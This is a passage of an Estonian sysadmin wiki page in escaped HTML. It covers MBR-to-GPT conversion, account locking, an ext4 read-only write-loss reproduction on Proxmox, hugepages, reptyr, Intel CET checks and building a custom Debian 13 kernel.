Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.14/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.13/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.12/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.11/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.10/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn systemd[1]: Finished wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/wireguard/wg0.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===MBR -&amp;gt; GPT partitsioonitabeli teisendamine===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
* MBR partitsioonitabel hõlvab tavalisel lihtsal juhul plokkseadme esimsesed 512 Baiti&lt;br /&gt;
* GPT partitsioonitabel hõlvab tavaliselt plokkseadme esimsed ja viimased 34 * 512 Baiti&lt;br /&gt;
* tundub, et seoses uuema ajal 1 MBait piirile asjade sättimisega algab nii MBR kui GPT puhul esimene partitsioon 2048'ndal sektoril; st plokkseadme alguses on rikkalikult vaba ruumi teisendatud gpt jaoks; probleemiks võib olla, plokkseadme lõpus pole piisavalt vaba ruumi backup gpt jaoks&lt;br /&gt;
* sektori suurus on 512 Baiti&lt;br /&gt;
* MBR partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 16 baiti, millest 4 baiti ehk 16 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^32*512/1024^3 | bc -&amp;gt; 2048 Gigabyte)&lt;br /&gt;
* GPT partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 128 baiti, millest 8 baiti ehk 64 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^64*512/1024^3 | bc -&amp;gt; väga palju)&lt;br /&gt;
* muudatuse käigus partitsioone moodustavaid plokke plokkseadmel ümber ei paigutata&lt;br /&gt;
* kui mbr partitsioonitabelis on kasutusel ainult primaarsed partitsioonid ning ilma nö aukudeta partitsioonide vahel, siis on tulemuseks samuti ilma aukudeta üksteisele järgnevad gpt partitsioonid&lt;br /&gt;
* antud tekst ei kästile seda, aga boot kood asub mbr puhul esimeses 446 baidis&lt;br /&gt;
* gpt puhul põhimõtteliselt boot koodi ei ole kasutusel uefi põhises süsteemis (kasutatakse efi partitsiooni)&lt;br /&gt;
&lt;br /&gt;
====Teisendamine====&lt;br /&gt;
&lt;br /&gt;
Olgu lähtepunktiks selline plokkseadme kasutus, mbr partitsioonitabel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: dos&lt;br /&gt;
Disk identifier: 0xdaa60afa&lt;br /&gt;
&lt;br /&gt;
Device     Boot Start      End  Sectors  Size Id Type&lt;br /&gt;
/dev/vdc1        2048 33097727 33095680 15.8G 83 Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning partitsioonil üks ext4 failisüsteem, mis on monteeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -h -T /dev/vdc1&lt;br /&gt;
Filesystem     Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/vdc1      ext4   16G  1.7G   13G  12% /mnt/vdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eesmärk on teisendada partitsioonitabel gpt kujule säilitades seejuures failisüsteemi sisu. Selleks sobib kasutada sellist protseduuri, esmalt monteerida failisüsteem lahti&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/vdc1&lt;br /&gt;
&lt;br /&gt;
seejärel teha mbr partitsioonitabelist varukoopia&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/vdc of=backup.mbr bs=512 count=1&lt;br /&gt;
&lt;br /&gt;
gdisk ehk 'gpt fdisk' programm sobib gpt partitsioonitabeli haldamiseks, sealhulgas vaikimisi ta püüab mbr partitsioonitabeli teisendada gpt kujule. See on tehniliselt tavaliselt võimalik kuna mbr asub plokkseadme alguses ja seal on nö kasutamata ruumi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# gdisk /dev/vdc&lt;br /&gt;
GPT fdisk (gdisk) version 0.8.10&lt;br /&gt;
&lt;br /&gt;
Partition table scan:&lt;br /&gt;
  MBR: MBR only&lt;br /&gt;
  BSD: not present&lt;br /&gt;
  APM: not present&lt;br /&gt;
  GPT: not present&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
***************************************************************&lt;br /&gt;
Found invalid GPT and valid MBR; converting MBR to GPT format&lt;br /&gt;
in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by&lt;br /&gt;
typing 'q' if you don't want to convert your MBR partitions&lt;br /&gt;
to GPT format!&lt;br /&gt;
***************************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command (? for help): w&lt;br /&gt;
&lt;br /&gt;
Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING&lt;br /&gt;
PARTITIONS!!&lt;br /&gt;
&lt;br /&gt;
Do you want to proceed? (Y/N): Y&lt;br /&gt;
OK; writing new GUID partition table (GPT) to /dev/vdc.&lt;br /&gt;
The operation has completed successfully.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* programm tuvastab esmalt, et plokkseadmel on kasutusel MBR partitsioonitabel&lt;br /&gt;
* w abil tehakse muudatus&lt;br /&gt;
* Y abil kirjutatakse muudatus üles&lt;br /&gt;
&lt;br /&gt;
Kuna Linux operatsioonisüsteemi puhul eristatakse plokkseadmel ja mälus olevat seisu plokkseadme kasutusest, siis tuleks täielikuks muudatuse kehtestamiseks teha lihtsalt reboot arvutile või öelda&lt;br /&gt;
&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
&lt;br /&gt;
Tulemusena kasutatakse plokkseadmel gpt partitsioonitabelit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: gpt&lt;br /&gt;
Disk identifier: 469E6D74-0022-4200-B0FD-2C5FAED7DCAD&lt;br /&gt;
&lt;br /&gt;
Device     Start      End  Sectors  Size Type&lt;br /&gt;
/dev/vdc1   2048 33302527 33300480 15.9G Linux filesystem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatuse tagasivõtmine====&lt;br /&gt;
&lt;br /&gt;
Muudatuse tagasivõtmiseks sobib öelda (kuigi nii jääb alles plokkseadme lõppu gpt backup; teatud bios'ide puhul võib see tekitada probleeme, bios on agar ja taastab selle alusel primaarse gpt partitsioonitabeli)&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/vdc1&lt;br /&gt;
 # dd if=backup.mbr of=/dev/vdc bs=512 count=1&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
 # mount /dev/vdc1 /mnt/vdc1&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://easylinuxji.blogspot.com/2018/12/what-is-disk-partitioning-disk.html&lt;br /&gt;
* https://dannyda.com/2021/05/07/how-to-convert-ubuntu-20-04-1-lts-os-disk-from-mbr-to-gpt-gpt-to-mbr-without-losing-data/&lt;br /&gt;
* http://www.rodsbooks.com/gdisk/mbr2gpt.html&lt;br /&gt;
&lt;br /&gt;
===Kasutajakonto operatsioonid===&lt;br /&gt;
&lt;br /&gt;
Konto lukustamine kusjuures see takistab ainult parooliga autentimist, nt ssh võtmega saab sisse&lt;br /&gt;
&lt;br /&gt;
 # passwd -l kasutajanimi&lt;br /&gt;
 # passwd -u kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Konto expire, see takistab igasuguseid kanaleid (eeldab, et pam vms on seadistatud expirega tegelema)&lt;br /&gt;
&lt;br /&gt;
 # usermod --expiredate 1 kasutajanimi&lt;br /&gt;
&lt;br /&gt;
===grep kasutamine===&lt;br /&gt;
&lt;br /&gt;
Perl regulaaravalidsega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestikulised grep'id ei toimi vahel, aitab nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/pveproxy/access.log  | grep --line-buffered &amp;quot;PUT&amp;quot; | grep --line-buffered firewall | grep --line-buffered option&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 12 ext4 failisüsteem read-only olekus===&lt;br /&gt;
&lt;br /&gt;
Tundub, et kõige tavalisem Debian v. 12 paigaldus, mis kasutab ext4 failisüsteemi (lvm kihi peal) käitub read-only olekus selliselt, et avatud failidesse mingil määral näiliselt kirjutamised jätkuvad. Seejuures kirjutajale jääb mulje, et kirjutamine õnnestus lõpetada edukalt. (Samal ajal uusi faile ei saa tekitada, olemasolevate failide muutmisi ei saa alustada.) Nähtuse jälgimiseks-taaskordamiseks-esilekutsumiseks sobib selline protseduur&lt;br /&gt;
&lt;br /&gt;
1. Proxmox PVE keskkonnas töötab lvm põhisel storage'l Debian v. 12 virtuaalne arvuti; arvutis on kasutusel lvm ja sellel ext4 failisüsteem (lvm ei ole oluline)&lt;br /&gt;
&lt;br /&gt;
2. Alustatakse eemalt pv abil piiratud kiirusega faili kopeerimist (etteruttavalt on siin toodud ära ka kopeeriv cat programmi edukas exit code; fail.img-4 on 36 MB suur)&lt;br /&gt;
&lt;br /&gt;
 $ cat fail.img-4 | ssh root@192.168.110.246 'pv -q -L3500K | cat &amp;gt; /root/tere4; echo $?' &lt;br /&gt;
 0&lt;br /&gt;
&lt;br /&gt;
3. umbes kolmveerandi kopeerimise pealt viiakse PVE host peal virtuaalsele arvutile vastav plokkseade read-only olekusse&lt;br /&gt;
&lt;br /&gt;
 # lvchange -pr vg_data/vm-615-disk-2&lt;br /&gt;
&lt;br /&gt;
4. ootus on, et virtuaalne arvuti reageerib sellele oma juurfailisüsteemi read-only olekusse lülitamisega&lt;br /&gt;
&lt;br /&gt;
5. ootus on, et kopeerimine lõpeb edukalt&lt;br /&gt;
&lt;br /&gt;
6. ootus on, et vaatamata read only olekule Debian operatsioonisüsteemi saab veel natuke kasutada, ja küsida (tulemus klapib orig fail.img-4 failiga)&lt;br /&gt;
&lt;br /&gt;
 # sha256sum /root/tere4&lt;br /&gt;
&lt;br /&gt;
7. virtuaalne arvuti stop'itakse PVE abil&lt;br /&gt;
&lt;br /&gt;
8. viiakse plokkseade tagasi rw režiimi&lt;br /&gt;
&lt;br /&gt;
 # lvchange -prw vg_data/vm-615-disk-2 &lt;br /&gt;
&lt;br /&gt;
9. käivitatakse virtuaalne arvuti&lt;br /&gt;
&lt;br /&gt;
10. kõnealune fail, mis näiliselt õnnestus edukalt kopeerida, on väiksema suurusega (või suurusega null)&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* analoogselt käitub Ubuntu v. 22.04&lt;br /&gt;
* Ubuntu v. 22.04 (ja tõenäoliselt Debian v. 12) + ext3 failisüsteem nö hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* Vanemad Ubuntu ja Debian versioonid hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* PVE host peal lvchange ütlemisele alternatiiviks on virtuaalse arvuti siseselt öelda&lt;br /&gt;
&lt;br /&gt;
 # echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
* lisaks PVE keskkonnale toimub analoogiline nähtus vmware virtuaalse arvutiga&lt;br /&gt;
&lt;br /&gt;
===machine-id reset===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# rm /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
# dbus-uuidgen | tee /etc/machine-id &amp;gt; /var/lib/dbus/machine-id&lt;br /&gt;
# chmod 0444 /etc/machine-id&lt;br /&gt;
# ls -ld /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
-r--r--r-- 1 root root 33 Apr  7 19:18 /etc/machine-id&lt;br /&gt;
-rw-r--r-- 1 root root 33 Apr  7 19:18 /var/lib/dbus/machine-id&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Hugepages===&lt;br /&gt;
&lt;br /&gt;
* TLB - Translation Lookaside Buffer&lt;br /&gt;
* THP - Transparent Huge Pages&lt;br /&gt;
&lt;br /&gt;
Nö tavalises proxmox pve arvutis on selline hugepagendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tundub, et niipea kui käivitatakse virtuaalne arvuti, mis sisaldab parameetrit 'hugepages: ...' tekitatakse kaks juurde&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/2048kB&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/1048576kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning seda tehakse läbi nö käigult konstrueeritud systemd mount unitite&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# systemctl | grep huge&lt;br /&gt;
  dev-hugepages.mount                                                                                           loaded active     mounted   Huge Pages File System&lt;br /&gt;
  run-hugepages-kvm-1048576kB.mount                                                                             loaded active     mounted   /run/hugepages/kvm/1048576kB&lt;br /&gt;
  run-hugepages-kvm-2048kB.mount                                                                                loaded active     mounted   /run/hugepages/kvm/2048kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Üks viis 1G hugepagendust lähtestada on kasutades sellist kernel-command-line'i&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# cat /proc/cmdline &lt;br /&gt;
initrd=\EFI\proxmox\6.8.8-2-pve\initrd.img-6.8.8-2-pve root=ZFS=rpool/ROOT/pve-1 boot=zfs default_hugepagesz=1G hugepagesz=1G hugepages=24&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# grep -i huge /proc/meminfo &lt;br /&gt;
AnonHugePages:         0 kB&lt;br /&gt;
ShmemHugePages:        0 kB&lt;br /&gt;
FileHugePages:         0 kB&lt;br /&gt;
HugePages_Total:      24&lt;br /&gt;
HugePages_Free:       24&lt;br /&gt;
HugePages_Rsvd:        0&lt;br /&gt;
HugePages_Surp:        0&lt;br /&gt;
Hugepagesize:    1048576 kB&lt;br /&gt;
Hugetlb:        25165824 kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# hugeadm --explain&lt;br /&gt;
Total System Memory: 192906 MB&lt;br /&gt;
&lt;br /&gt;
Mount Point                  Options&lt;br /&gt;
/dev/hugepages               rw,relatime,pagesize=1024M&lt;br /&gt;
/run/hugepages/kvm/2048kB    rw,relatime,pagesize=2M&lt;br /&gt;
/run/hugepages/kvm/1048576kB rw,relatime,pagesize=1024M&lt;br /&gt;
&lt;br /&gt;
Huge page pools:&lt;br /&gt;
      Size  Minimum  Current  Maximum  Default&lt;br /&gt;
   2097152        0        0        0         &lt;br /&gt;
1073741824       24       24       24        *&lt;br /&gt;
&lt;br /&gt;
Huge page sizes with configured pools:&lt;br /&gt;
1073741824&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.postgresql.org/images/7/7d/PostgreSQL_and_Huge_pages_-_PGConf.2019.pdf&lt;br /&gt;
* https://pganalyze.com/blog/5mins-postgres-tuning-huge-pages&lt;br /&gt;
&lt;br /&gt;
===reptyr===&lt;br /&gt;
&lt;br /&gt;
reptyr ehk reparenting-terminal võimaldab saada uuesti kontakti kaotatud kuid eksisteeriva terminaliga. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install reptyr&lt;br /&gt;
&lt;br /&gt;
Nt apt-get dist-upgrade programm käivitati, aga füüsiline konsool millelt seda tehti riknes. Mujalt arvutisse logides võib olla dist-upgrade tegevus peatunud nt sellises kohas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/apt/term.log&lt;br /&gt;
...&lt;br /&gt;
No DKMS packages installed: not changing Secure Boot validation state.&lt;br /&gt;
Setting up libmpc3:amd64 (1.3.1-1) ...&lt;br /&gt;
Setting up systemd-timesyncd (252.30-1~deb12u2) ...&lt;br /&gt;
&lt;br /&gt;
Configuration file '/etc/systemd/timesyncd.conf'&lt;br /&gt;
 ==&amp;gt; Modified (by you or by a script) since installation.&lt;br /&gt;
 ==&amp;gt; Package distributor has shipped an updated version.&lt;br /&gt;
   What would you like to do about it ?  Your options are:&lt;br /&gt;
    Y or I  : install the package maintainer's version&lt;br /&gt;
    N or O  : keep your currently-installed version&lt;br /&gt;
      D     : show the differences between the versions&lt;br /&gt;
      Z     : start a shell to examine the situation&lt;br /&gt;
 The default action is to keep your current version.&lt;br /&gt;
*** timesyncd.conf (Y/I/N/O/D/Z) [default=N] ? &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning terminali olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# ps auxf | less -N&lt;br /&gt;
..&lt;br /&gt;
    135 root        1097  0.0  1.8  74500 18448 ?        S    Oct13   0:05 apt-get dist-upgrade&lt;br /&gt;
    136 root       23408  0.0  0.6  11768  6388 pts/1    Ss+  Oct13   0:01  \_ /usr/bin/dpkg --status-fd 25 --configure --&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Osutub, et terminaliga saab taas kontakti öeldes, ja jätkates seejärel sisestusi peatunud kohast. NB! reptyr töötamine jätkub nö pimedast kohast, klaviatuurilt tuleb sisestada nii nagu asjakohane, nt antud juhul Enter sobib küsimusele 'timesyncd.conf (Y/I/N/O/D/Z) [default=N]' eitavalt vastamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# /home/imre/reptyr 23408&lt;br /&gt;
[-] Timed out waiting for child stop.&lt;br /&gt;
&lt;br /&gt;
Setting up libevent-core-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libatomic1:amd64 (12.2.0-14) ...&lt;br /&gt;
Setting up libvariable-magic-perl (0.63-1+b1) ...&lt;br /&gt;
Setting up udev (252.30-1~deb12u2) ...&lt;br /&gt;
Setting up libevent-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libio-html-perl (1.004-3) ...&lt;br /&gt;
Setting up libss2:amd64 (1.47.0-2) ...&lt;br /&gt;
Setting up libpod-parser-perl (1.65-1) ...&lt;br /&gt;
Setting up autopoint (0.21-12) ...&lt;br /&gt;
Setting up libb-hooks-op-check-perl:amd64 (0.22-2+b1) ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel jätkub apt-get dist-upgrade osakonnaga suhtlemine tavalisel viisil.&lt;br /&gt;
&lt;br /&gt;
===CET - Intel Control-flow Enforcement Technology===&lt;br /&gt;
&lt;br /&gt;
Protsessori tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# lscpu | grep -i shstk&lt;br /&gt;
Flags:                                fpu vme de pse ... user_shstk ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nt https://www.intel.com/content/www/us/en/products/sku/232391/intel-xeon-gold-6448h-processor-60m-cache-2-40-ghz/specifications.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Intel® Control-Flow Enforcement Technology&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kerneli tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# grep SHADOW /boot/config-6.8.4-3-pve &lt;br /&gt;
CONFIG_X86_USER_SHADOW_STACK=y&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
programmi tugi, 'Properties: x86 feature: IBT, SHSTK'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@trainer-01-rws:~# readelf -n /usr/sbin/sshd &lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.property&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000020	NT_GNU_PROPERTY_TYPE_0&lt;br /&gt;
      Properties: x86 feature: IBT, SHSTK&lt;br /&gt;
	x86 ISA needed: x86-64-baseline&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.gnu.build-id&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)&lt;br /&gt;
    Build ID: 652d8ffe728a6800d02ee146e82201f0080069de&lt;br /&gt;
&lt;br /&gt;
Displaying notes found in: .note.ABI-tag&lt;br /&gt;
  Owner                Data size 	Description&lt;br /&gt;
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käesolev olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-01:~# cat /proc/2266/status | grep -i thread_fe&lt;br /&gt;
x86_Thread_features:	&lt;br /&gt;
x86_Thread_features_locked:&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Control-flow_integrity&lt;br /&gt;
* https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts&lt;br /&gt;
&lt;br /&gt;
===pigz abil pakkimine===&lt;br /&gt;
&lt;br /&gt;
 # time tar -I pigz -cf ../20250507/rakendus-14-main_ee-20250507.tgz main_ee&lt;br /&gt;
&lt;br /&gt;
===Debian v. 13 Trixie kerneli kompileerimine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* tegevused toimuvad pve v. 8.4 virtuaalses arvutis, uefi jne&lt;br /&gt;
* kompileerimiseks on vajalik ca 40 G ruumi failisüsteemis&lt;br /&gt;
* arvutil on 32 cpu ja 24g mälu&lt;br /&gt;
* kompileerimine võtab aega ca 10 minutit&lt;br /&gt;
&lt;br /&gt;
Nt eesmärgiga lisada süsteemi rtc_efi tuuma moodul ning käivitamisel lülitada välja rtc_cmos moodul, tavaliselt paistab rtc nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# dmesg | grep rtc&lt;br /&gt;
[    5.472677] rtc_cmos 00:01: RTC can wake from S4&lt;br /&gt;
[    5.477720] rtc_cmos 00:01: registered as rtc0&lt;br /&gt;
[    5.482245] rtc_cmos 00:01: setting system clock to 2025-07-05T17:49:27 UTC (1751737767)&lt;br /&gt;
[    5.490391] rtc_cmos 00:01: alarms up to one month, y3k, 114 bytes nvram&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompileerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install build-essential libncurses-dev&lt;br /&gt;
# apt-get build-dep linux&lt;br /&gt;
# linux-source-6.12&lt;br /&gt;
&lt;br /&gt;
# su - imre&lt;br /&gt;
$ mkdir 20251001&lt;br /&gt;
$ cd 20251001&lt;br /&gt;
$ tar xaf /usr/src/linux-source-6.12.tar.xz&lt;br /&gt;
$ cd linux-source-6.12&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kostümiseerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ cp /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe drivers/rtc/Kconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001-2/linux-source-6.12$ diff /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
5c5&lt;br /&gt;
&amp;lt; CONFIG_CC_VERSION_TEXT=&amp;quot;x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_CC_VERSION_TEXT=&amp;quot;gcc (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
36a37&lt;br /&gt;
&amp;gt; CONFIG_BUILD_SALT=&amp;quot;&amp;quot;&lt;br /&gt;
999a1001&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_ALL=y&lt;br /&gt;
8486c8488&lt;br /&gt;
&amp;lt; CONFIG_RTC_DRV_CMOS=y&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_CMOS=m&lt;br /&gt;
8492a8495&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_EFI=m&lt;br /&gt;
10868a10872&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_KEY=&amp;quot;certs/signing_key.pem&amp;quot;&lt;br /&gt;
10870a10875&lt;br /&gt;
&amp;gt; CONFIG_SYSTEM_TRUSTED_KEYS=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~$ diff orig/linux-source-6.12/drivers/rtc/Kconfig 20251001/linux-source-6.12/drivers/rtc/Kconfig&lt;br /&gt;
1180c1180&lt;br /&gt;
&amp;lt; 	depends on EFI &amp;amp;&amp;amp; !X86&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; 	depends on EFI&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make -j 32 bindeb-pkg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# ls -ld /home/imre/20251001/linux-*&lt;br /&gt;
-rw-r--r--  1 imre imre   9175852 Oct  2 00:07 /home/imre/20251001/linux-headers-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
